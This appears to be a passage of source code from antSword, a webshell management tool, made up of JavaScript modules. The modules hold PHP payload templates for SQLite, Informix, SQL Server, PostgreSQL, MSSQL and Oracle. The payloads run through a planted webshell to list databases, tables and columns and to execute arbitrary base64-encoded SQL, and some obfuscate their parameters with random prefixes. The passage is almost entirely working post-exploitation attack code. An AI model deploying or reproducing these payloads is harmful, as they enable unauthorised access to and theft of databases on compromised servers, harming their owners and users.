$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$query="select tbl_name from sqlite_master where type='table' order by tbl_name;";
$stmt=$dbh->prepare($query);
$result=$stmt->execute();
while($res=$result->fetchArray(SQLITE3_ASSOC)){
echo(trim($res['tbl_name']).chr(9));
}
$dbh->close();
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$query="pragma table_info('{$tab}');";
$stmt=$dbh->prepare($query);
$result=$stmt->execute();
while($res=$result->fetchArray(SQLITE3_ASSOC)){
echo(trim($res['name'])." ({$res['type']})".chr(9));
}
$dbh->close();
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
$dbh=new SQLite3($hst);
if(!$dbh){
echo("ERROR://CONNECT ERROR".SQLite3::lastErrorMsg());
}else{
$stmt=$dbh->prepare($sql);
if(!$stmt){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".$dbh->lastErrorMsg())."\\t|\\t\\r\\n");
} else {
$result=$stmt->execute();
if(!$result){
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://".$dbh->lastErrorMsg())."\\t|\\t\\r\\n");
}else{
$bool=True;
while($res=$result->fetchArray(SQLITE3_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\\t|\\t");
}
echo "\\r\\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
if($bool){
if(!$result->numColumns()){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($dbh->changes())."\\t|\\t\\r\\n");
}else{
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://Table is empty.")."\\t|\\t\\r\\n");
}
}
}
}
$dbh->close();
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/sqlite3.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,210 |
```javascript
/**
* ::informix
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT username FROM SYSUSERS WHERE usertype='D' ORDER BY username",$T);echo("informix".chr(9));while($rs=@ifx_fetch_row($q)){echo(trim($rs[username]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query("SELECT tabname FROM systables where owner='{$dbn}' and tabtype='T' ORDER BY tabname",$T);while($rs=@ifx_fetch_row($q)){echo(trim($rs[tabname]).chr(9));}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];$sql=base64_decode($_POST["${arg5}"]);$T=(strlen($usr)>0)?@ifx_connect($hst,$usr,$pwd):@ifx_connect($hst);$q=@ifx_query($sql,$T);$i=0;while($rs=@ifx_fetch_row($q)){if($i==0){for(reset($rs);$f=key($rs);next($rs)){echo($f."\t|\t");}echo("\r\n");}for(reset($rs);$f=key($rs);next($rs)){echo(base64_encode(trim($rs[$f])));echo("\t|\t");}echo("\r\n");$i++;}@ifx_close($T);`,
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/informix.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,063 |
```javascript
/**
* ::sqlsrv
* php >= 5.3 mssql, sqlsrv sqlserver
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$chs="utf-8";
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>"master","CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"select [name] from master.dbo.sysdatabases order by 1",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0]).chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$chs="utf-8";
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0]).chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
$chs='utf-8';
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{$tab}'",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0])." ({$rs[1]}({$rs[2]}))".chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$chs=strtolower($m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"]);
$chs=($chs=='utf-8'||$chs=='char')?$chs:'utf-8';
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,$sql,null);
if($q!==false){
$i=0;
$fm=@sqlsrv_field_metadata($q);
if(empty($fm)){
$ar=@sqlsrv_rows_affected($q);
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($ar)."\\t|\\t\\r\\n");
}else{
foreach($fm as $rs){
echo($rs['Name']."\\t|\\t");
$i++;
}
echo("\\r\\n");
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\\t|\\t");
}
echo("\\r\\n");
}
}
@sqlsrv_free_stmt($q);
}else{
echo("Status\\t|\\t\\r\\n");
if(($e = sqlsrv_errors()) != null){
foreach($e as $v){
echo(base64_encode($e['message'])."\\t|\\t\\r\\n");
}
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/sqlsrv.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,520 |
```javascript
/**
* ::postgresql_pdo
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
list($host, $port,$dbn) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$dbn == "" ? $dbn = "postgres" : $dbn;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="select datname FROM pg_database where datistemplate='f';";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['datname']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="SELECT table_name FROM information_schema.tables WHERE table_type='BASE TABLE' AND table_schema NOT IN ('pg_catalog', 'information_schema');";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
echo(trim($res['table_name']).chr(9));
}
$dbh=null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$tab=$m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"];
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$query="SELECT column_name,udt_name,character_maximum_length FROM information_schema.COLUMNS WHERE TABLE_NAME = '{$tab}';";
$result=$dbh->prepare($query);
$result->execute();
while($res=$result->fetch(PDO::FETCH_ASSOC)){
$len=$res['character_maximum_length'] ? $res['character_maximum_length']:"0";
echo(trim($res['column_name'])." ({$res['udt_name']}({$len}))".chr(9));
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
$pwd=$m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"];
$dbn=$m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"];
$sql=base64_decode($_POST["${arg5}"]);
$encode=$m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"];
list($host, $port) = explode(":", $hst);
$port == "" ? $port = "5432" : $port;
$arr=array(
'host'=>$host,
'port'=>$port,
'dbname'=>$dbn,
);
$cs='pgsql:';
foreach($arr as $k=>$v) {
if(empty($v)){
continue;
}
$cs .= "$k=$v;";
}
$dbh=new PDO($cs,$usr,$pwd);
if(!$dbh){
echo("ERROR://CONNECT ERROR");
}else{
$result=$dbh->prepare($sql);
if(!$result->execute()){
echo("Status\\t|\\t\\r\\n");
$err="";
foreach(@$result->errorInfo() as $v){
$err.=$v." ";
}
echo(base64_encode("ERROR://".$err)."\\t|\\t\\r\\n");
}else{
$bool=True;
while($res=$result->fetch(PDO::FETCH_ASSOC)){
if($bool){
foreach($res as $key=>$value){
echo($key."\\t|\\t");
}
echo "\\r\\n";
$bool=False;
}
foreach($res as $key=>$value){
echo(base64_encode($value!==NULL?$value:"NULL")."\\t|\\t");
}
echo "\\r\\n";
}
if($bool){
if(!$result->columnCount()){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($result->rowCount())."\\t|\\t\\r\\n");
}else{
echo("Status\\t|\\t\\r\\n");
echo(base64_encode("ERROR://Table is empty.")."\\t|\\t\\r\\n");
}
}
}
$dbh = null;
}`.replace(/\n\s+/g, ''),
[arg1]: '#{host}',
[arg2]: '#{user}',
[arg3]: '#{passwd}',
[arg4]: '#{db}',
[arg5]: '#{base64::sql}',
[arg6]: '#{encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/postgresql_pdo.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,856 |
```javascript
/**
* ::mssql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$T=@mssql_connect($hst,$usr,$pwd);
$q=@mssql_query("select [name] from master.dbo.sysdatabases order by 1",$T);
while($rs=@mssql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query("SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1",$T);
while($rs=@mssql_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$tab=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query("SELECT TOP 1 * FROM {$tab}",$T);
while($rs=@mssql_fetch_field($q)){
echo(trim($rs->name)." ({$rs->type}({$rs->max_length}))".chr(9));
}
@mssql_free_result($q);
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$hst=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$sql=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
$T=@mssql_connect($hst,$usr,$pwd);
@mssql_select_db($dbn,$T);
$q=@mssql_query($sql,$T);
if(is_bool($q)){
echo("Status\\t|\\tAffect Rows\\t|\\t\\r\\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\\t|\\t".base64_encode(@mssql_rows_affected($T)." row(s)")."\\t|\\t\\r\\n");
}else{
$i=0;
while($rs=@mssql_fetch_field($q)){
echo($rs->name."\\t|\\t");
$i++;
}
echo("\\r\\n");
while($rs=@mssql_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\\t|\\t");
}
echo("\\r\\n");
}
@mssql_free_result($q);
}
@mssql_close($T);`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::sql}',
}
})
``` | /content/code_sandbox/source/core/php/template/database/mssql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,508 |
```javascript
/**
* ::oracle oci8
* i => \\t|\\t
*
* session_mode: OCI_DEFAULT 0 OCI_SYSOPER 4 OCI_SYSDBA 2
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$sid=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$chs="utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,"SELECT USERNAME FROM ALL_USERS ORDER BY 1");
if(@oci_execute($q)){
while(@oci_fetch($q)){
echo(trim(@oci_result($q,1)).chr(9));
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}'
},
//
show_tables: {
_: `$m=get_magic_quotes_gpc();
$sid=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$chs="utf8";
$mod=0;
$sql="SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='{$dbn}' ORDER BY 1)";
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)){
$n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
if($n==0){
echo("ERROR://Database has no tables or no privilege");
}else{
for($i=0;$i<$n;$i++){
$row=$res[$i];
echo(trim($row[0]).chr(9));
}
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}'
},
//
show_columns: {
_: `$m=get_magic_quotes_gpc();
$sid=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$tab=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
$sql="SELECT COLUMN_NAME,DATA_TYPE,DATA_LENGTH FROM ALL_TAB_COLUMNS WHERE OWNER='{$dbn}' AND TABLE_NAME='{$tab}' ORDER BY COLUMN_ID";
$chs="utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)){
$n=@oci_fetch_all($q,$res,0,-1,OCI_FETCHSTATEMENT_BY_ROW+OCI_NUM);
if($n==0){
echo("ERROR://Table has no columns or no privilege");
}else{
for($i=0;$i<$n;$i++){
$row=$res[$i];
echo(trim($row[0])." (".$row[1]."(".$row[2]."))".chr(9));
}
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
};`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::table}'
},
// SQL
query: {
_: `$m=get_magic_quotes_gpc();
$sid=base64_decode(substr($m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"],#randomPrefix#));
$usr=base64_decode(substr($m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"],#randomPrefix#));
$pwd=base64_decode(substr($m?stripslashes($_POST["${arg3}"]):$_POST["${arg3}"],#randomPrefix#));
$dbn=base64_decode(substr($m?stripslashes($_POST["${arg4}"]):$_POST["${arg4}"],#randomPrefix#));
$sql=base64_decode(substr($m?stripslashes($_POST["${arg5}"]):$_POST["${arg5}"],#randomPrefix#));
$chs=base64_decode(substr($m?stripslashes($_POST["${arg6}"]):$_POST["${arg6}"],#randomPrefix#));
$chs=$chs?$chs:"utf8";
$mod=0;
$H=@oci_connect($usr,$pwd,$sid,$chs,$mod);
if(!$H){
echo("ERROR://".@oci_error()["message"]);
}else{
$q=@oci_parse($H,$sql);
if(@oci_execute($q)) {
$n=oci_num_fields($q);
if($n==0){
echo("Affect Rows\\t|\\t\\r\\n".base64_encode(@oci_num_rows($q))."\\t|\\t\\r\\n");
}else{
for($i=1;$i<=$n;$i++){
echo(oci_field_name($q,$i)."\\t|\\t");
}
echo "\\r\\n";
while ($row = @oci_fetch_array($q, OCI_ASSOC+OCI_RETURN_NULLS)) {
foreach ($row as $item) {
echo($item !== null ? base64_encode($item):"")."\\t|\\t";
}
echo "\\r\\n";
}
@oci_free_statement($q);
}
}else{
echo("Status\\t|\\t\\r\\n");
$e=@oci_error($q);
if($e){
echo(base64_encode("ERROR://{$e['message']} in [{$e['sqltext']}] col:{$e['offset']}")."\\t|\\t\\r\\n");
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@oci_close($H);
}`.replace(/\n\s+/g, ''),
[arg1]: '#{newbase64::host}',
[arg2]: '#{newbase64::user}',
[arg3]: '#{newbase64::passwd}',
[arg4]: '#{newbase64::db}',
[arg5]: '#{newbase64::sql}',
[arg6]: '#{newbase64::encode}'
}
})
``` | /content/code_sandbox/source/core/php/template/database/oracle_oci8.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 2,232 |
```javascript
/**
* ::postgresql
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$m=get_magic_quotes_gpc();
$hst=$m?stripslashes($_POST["${arg1}"]):$_POST["${arg1}"];
$usr=$m?stripslashes($_POST["${arg2}"]):$_POST["${arg2}"];
